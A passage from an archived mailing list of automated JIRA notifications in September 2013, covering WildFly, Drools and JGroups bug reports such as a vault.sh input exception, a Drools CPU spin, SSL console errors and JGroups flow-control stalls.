> to the directory containing jboss-as-7.1.2.Final.zip and jboss-as-7.1.3.Final.zip

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 04:20:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 04:20:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.1085.1380010845633@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806807#comment-12806807 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Marek Schmidt <maschmid at redhat.com> changed the Status of [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600] from ON_QA to ASSIGNED
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 04:35:45 2013
From: jira-events at lists.jboss.org (Chao Wang (JIRA))
Date: Tue, 24 Sep 2013 04:35:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2141) Unexpected non-integer input
 in vault.sh causes error
In-Reply-To: <JIRA.12501353.1380011694489@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501353.1380011694489@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501353.1380011694489.1104.1380011745210@jira02.app.mwc.hst.phx2.redhat.com>

Chao Wang created WFLY-2141:
-------------------------------

             Summary: Unexpected non-integer input in vault.sh causes error
                 Key: WFLY-2141
                 URL: https://issues.jboss.org/browse/WFLY-2141
             Project: WildFly
          Issue Type: Bug
          Components: Security
    Affects Versions: 8.0.0.Alpha4
            Reporter: Chao Wang
            Assignee: Chao Wang
            Priority: Minor


Execute bin/vault.sh, then input a non-integer parameter cause:
{noformat}
Exception in thread "main" java.util.InputMismatchException
	at java.util.Scanner.throwFor(Scanner.java:909)
	at java.util.Scanner.next(Scanner.java:1530)
	at java.util.Scanner.nextInt(Scanner.java:2160)
	at java.util.Scanner.nextInt(Scanner.java:2119)
	at org.jboss.as.security.vault.VaultTool.main(VaultTool.java:109)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:606)
	at org.jboss.modules.Module.run(Module.java:292)
	at org.jboss.modules.Main.main(Main.java:455)
{noformat}

Because VaultTool.main() only scans next token of the input as an int, better catch the InputMismatchException and exit peacefully as default action.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 04:54:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 04:54:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2141) Unexpected non-integer input
 in vault.sh causes error
In-Reply-To: <JIRA.12501353.1380011694000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501353.1380011694000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501353.1380011694000.1163.1380012885894@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2141?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806813#comment-12806813 ] 

RH Bugzilla Integration commented on WFLY-2141:
-----------------------------------------------

Chao Wang <chaowan at redhat.com> changed the Status of [bug 951011|https://bugzilla.redhat.com/show_bug.cgi?id=951011] from NEW to ASSIGNED
                
> Unexpected non-integer input in vault.sh causes error
> -----------------------------------------------------
>
>                 Key: WFLY-2141
>                 URL: https://issues.jboss.org/browse/WFLY-2141
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>            Priority: Minor
>
> Execute bin/vault.sh, then input a non-integer parameter cause:
> {noformat}
> Exception in thread "main" java.util.InputMismatchException
> 	at java.util.Scanner.throwFor(Scanner.java:909)
> 	at java.util.Scanner.next(Scanner.java:1530)
> 	at java.util.Scanner.nextInt(Scanner.java:2160)
> 	at java.util.Scanner.nextInt(Scanner.java:2119)
> 	at org.jboss.as.security.vault.VaultTool.main(VaultTool.java:109)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.jboss.modules.Module.run(Module.java:292)
> 	at org.jboss.modules.Main.main(Main.java:455)
> {noformat}
> Because VaultTool.main() only scans next token of the input as an int, better catch the InputMismatchException and exit peacefully as default action.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 04:54:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 04:54:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2141) Unexpected non-integer input
 in vault.sh causes error
In-Reply-To: <JIRA.12501353.1380011694000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501353.1380011694000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501353.1380011694000.1166.1380012886125@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2141?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2141:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=951011

    
> Unexpected non-integer input in vault.sh causes error
> -----------------------------------------------------
>
>                 Key: WFLY-2141
>                 URL: https://issues.jboss.org/browse/WFLY-2141
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>            Priority: Minor
>
> Execute bin/vault.sh, then input a non-integer parameter cause:
> {noformat}
> Exception in thread "main" java.util.InputMismatchException
> 	at java.util.Scanner.throwFor(Scanner.java:909)
> 	at java.util.Scanner.next(Scanner.java:1530)
> 	at java.util.Scanner.nextInt(Scanner.java:2160)
> 	at java.util.Scanner.nextInt(Scanner.java:2119)
> 	at org.jboss.as.security.vault.VaultTool.main(VaultTool.java:109)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.jboss.modules.Module.run(Module.java:292)
> 	at org.jboss.modules.Main.main(Main.java:455)
> {noformat}
> Because VaultTool.main() only scans next token of the input as an int, better catch the InputMismatchException and exit peacefully as default action.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 05:54:46 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 05:54:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2130) Error Message Logged During
 Console Access in Domain Mode
In-Reply-To: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501206.1379943786000.1286.1380016486113@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2130?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2130:
-----------------------------------

    Summary: Error Message Logged During Console Access in Domain Mode  (was: Cryptic Error Message Manipulating Roles In Console)

    
> Error Message Logged During Console Access in Domain Mode
> ---------------------------------------------------------
>
>                 Key: WFLY-2130
>                 URL: https://issues.jboss.org/browse/WFLY-2130
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The following message is getting logged repeatedly: -
> {code}
> [Host Controller] 14:41:11,990 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 6ae554c9 for operation composite at address [] failed handling operation rollback -- null
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 05:54:46 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 05:54:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2130) Error Message Logged During
 Console Access in Domain Mode
In-Reply-To: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501206.1379943786000.1289.1380016486277@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2130?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806828#comment-12806828 ] 

Darran Lofthouse commented on WFLY-2130:
----------------------------------------

The error being logged seems to happen for a lot of the interaction by the console.

                
> Error Message Logged During Console Access in Domain Mode
> ---------------------------------------------------------
>
>                 Key: WFLY-2130
>                 URL: https://issues.jboss.org/browse/WFLY-2130
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The following message is getting logged repeatedly: -
> {code}
> [Host Controller] 14:41:11,990 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 6ae554c9 for operation composite at address [] failed handling operation rollback -- null
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 06:15:45 2013
From: jira-events at lists.jboss.org (Duncan Doyle (JIRA))
Date: Tue, 24 Sep 2013 06:15:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684776@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684776@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684776.1349.1380017745765@jira02.app.mwc.hst.phx2.redhat.com>

Duncan Doyle created DROOLS-272:
-----------------------------------

             Summary: KieSession.fireUntilHalt() consumes 100% CPU
                 Key: DROOLS-272
                 URL: https://issues.jboss.org/browse/DROOLS-272
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3
         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
            Reporter: Duncan Doyle
            Assignee: Mark Proctor
            Priority: Blocker


When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.

I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 06:43:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 06:43:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.1430.1380019425709@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-2076.
------------------------------------

    Resolution: Cannot Reproduce Bug


Configured WildFly 8 as of commit  d2607280432daf8a494da251224d2c6b02cf164b with SSL and no errors encountered using the console over HTTPS with and without RBAC enabled.
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 06:56:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 06:56:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2130) Error Message Logged During
 Console Access in Domain Mode
In-Reply-To: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501206.1379943786000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501206.1379943786000.1454.1380020205853@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2130?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-2130.
------------------------------------

    Resolution: Out of Date


This appears to have already been fixed as the errors are no longer visible today.
                
> Error Message Logged During Console Access in Domain Mode
> ---------------------------------------------------------
>
>                 Key: WFLY-2130
>                 URL: https://issues.jboss.org/browse/WFLY-2130
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The following message is getting logged repeatedly: -
> {code}
> [Host Controller] 14:41:11,990 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 6ae554c9 for operation composite at address [] failed handling operation rollback -- null
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 06:58:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 06:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2124) Revisit LDAP testing within
	the testsuite.
In-Reply-To: <JIRA.12501154.1379832354000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501154.1379832354000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501154.1379832354000.1457.1380020325319@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2124?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2124:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Revisit LDAP testing within the testsuite.
> ------------------------------------------
>
>                 Key: WFLY-2124
>                 URL: https://issues.jboss.org/browse/WFLY-2124
>             Project: WildFly
>          Issue Type: Task
>          Components: Test Suite
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> We currently use ApacheDS in multiple locations within the testsuite.
> Unfortunately in many places this has led to some quite in-depth sections of code being added to work around issues found with the LDAP server.  The problem then is that as we are only using a milestone release upgrades cause API changes making this entire block of code subject to further modifications.
> Domain management unit testing is using a custom schema which fails to load with the older M7 version so is using M15 on it's own.
> All interaction with ApacheDS should be split into it's own module that can then be used both by unit tests within domain management and elsehwere in the testsuite.  Interaction should also use the simplest method possible to initialise the server so that future version upgrades will be easier.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:04:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 07:04:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.1477.1380020685712@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806852#comment-12806852 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> made a comment on [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803]

Although not an issue in WildFly I can confirm this is reproducible in the latest EAP code.
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:30:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 24 Sep 2013 07:30:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1550.1380022245813@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806869#comment-12806869 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

Changed some service messages (e.g. retransmit requests) to INTERNAL. However, even when retransmit requests are INTERNAL, retransmited *messages* cannot be changed to INTERNAL, as this would change the messages themselves in the retransmit table. And I don't want to copy a message before re-sending it.
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:32:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 07:32:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.1557.1380022365286@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806870#comment-12806870 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> made a comment on [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803]

After further testing I see this has actually been fixed as a result of the changes for: -

https://bugzilla.redhat.com/show_bug.cgi?id=1010662

What is the next step for this issue, should is go straight to ON_QA for verification?
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:38:45 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Tue, 24 Sep 2013 07:38:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1563.1380022725192@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806872#comment-12806872 ] 

Radim Vansa commented on JGRP-1675:
-----------------------------------

Sure, that's not what I suggested.
I am still looking into the test (running with internal thread pool on and 500 OOB threads but not with trace logging - with tracing the problem is not reproduced, I am using Byteman probes instead).
The weird thing I am investigating is the high amount of parallel requests. In the scenario I have 10 threads that are executing only GETs on each of 4 nodes (therefore the response is sent from OOB thread, Infinispan does not switch thread for these commands as they cannot block inside Infinispan). With 2 owners there shouldn't be more than 80 parallel requests, but for some reason as if it was.
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:41:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 07:41:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2142) Improve SecurityRealm service
	removal.
In-Reply-To: <JIRA.12501375.1380022880994@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501375.1380022880994@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501375.1380022880994.1568.1380022905240@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2142:
--------------------------------------

             Summary: Improve SecurityRealm service removal.
                 Key: WFLY-2142
                 URL: https://issues.jboss.org/browse/WFLY-2142
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


At the moment all services are removed regardless of if they were installed, the issue however is that as new services are developed this list is quickly out of date.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:43:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 07:43:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2143) Security Realm -
	authorization validation
In-Reply-To: <JIRA.12501376.1380023008764@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501376.1380023008764@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501376.1380023008764.1571.1380023025259@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2143:
--------------------------------------

             Summary: Security Realm - authorization validation
                 Key: WFLY-2143
                 URL: https://issues.jboss.org/browse/WFLY-2143
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


Currently we have a validation step to check the consistency of the authentication definitions, we need two additional checks: -
 1 - Only a single child of authorization should be defined.
 2 - Only one group search should be defined on authorization=ldap



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:49:45 2013
From: jira-events at lists.jboss.org (Robin Rosenberg (JIRA))
Date: Tue, 24 Sep 2013 07:49:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2144) jboss-cli should set
 -Djava.awt.headless=true
In-Reply-To: <JIRA.12501378.1380023293405@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501378.1380023293405@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501378.1380023293405.1582.1380023385325@jira02.app.mwc.hst.phx2.redhat.com>

Robin Rosenberg created WFLY-2144:
-------------------------------------

             Summary: jboss-cli should set -Djava.awt.headless=true
                 Key: WFLY-2144
                 URL: https://issues.jboss.org/browse/WFLY-2144
             Project: WildFly
          Issue Type: Bug
          Components: CLI
            Reporter: Robin Rosenberg
            Assignee: Alexey Loubyansky
            Priority: Minor


On OS X using jboss-cli.sh will cause focus to shift making it very inconvenient to do other things while scripts that talk to jboss execute.

There is a workaround: export JAVA_OPTS=-Djava.awt.headless=true before invoking the cli, but I see no reason for the CLI not do this itself. This also applied to the adduser.sh script.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:49:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 07:49:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
